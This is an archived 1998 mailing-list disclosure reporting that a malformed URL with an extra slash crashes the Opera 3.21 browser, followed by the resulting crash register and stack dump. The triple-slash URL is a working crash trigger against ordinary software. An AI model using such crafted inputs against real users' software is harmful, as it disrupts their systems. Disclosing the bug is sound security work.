opera.txt

`Date: Fri, 14 Aug 1998 09:54:09 +0800  
From: "Zac Leow C.H" <[email protected]>  
Subject: URL exploit to crash Opera Browser  
  
By putting an extra slash at the end of http:// tag will crash your opera  
browser. Tested on version 3.21  
  
e.g.  
http:///opera.nta.no  
  
Seems to be save on Netscape and MSIE, they just generate an error message. ftp:/// tag does not crash any of the browsers.  
  
OPERA caused an invalid page fault in  
module OPERA.EXE at 015f:004c5476.  
Registers:  
EAX=00003a3a CS=015f EIP=004c5476 EFLGS=00010206  
EBX=3a3a3a3a SS=0167 ESP=0077f0a4 EBP=0077f0cc  
ECX=0000002f DS=0167 ESI=013ada80 FS=129f  
EDX=00000000 ES=0167 EDI=013ada8c GS=0000  
Bytes at CS:EIP:  
8b 0a bf ff fe fe 7e 8b c1 8b f7 33 cb 03 f0 03  
Stack dump:  
013ada80 013ada8c 00000000 0044391b 00000000 0000003a 013ad9f0 013ad740 00000000 00000000 0077f558 0048a4fd 013a8b20 00000000 011c136c bff51f90  
  
--  
Zac "BugTrakker" Leow (R & D Engineer)  
BioInformatics Centre (Singapore)  
http://post1.com/~zakary  
Opinions expressed herein are my own and may not represent those of my employer.  
`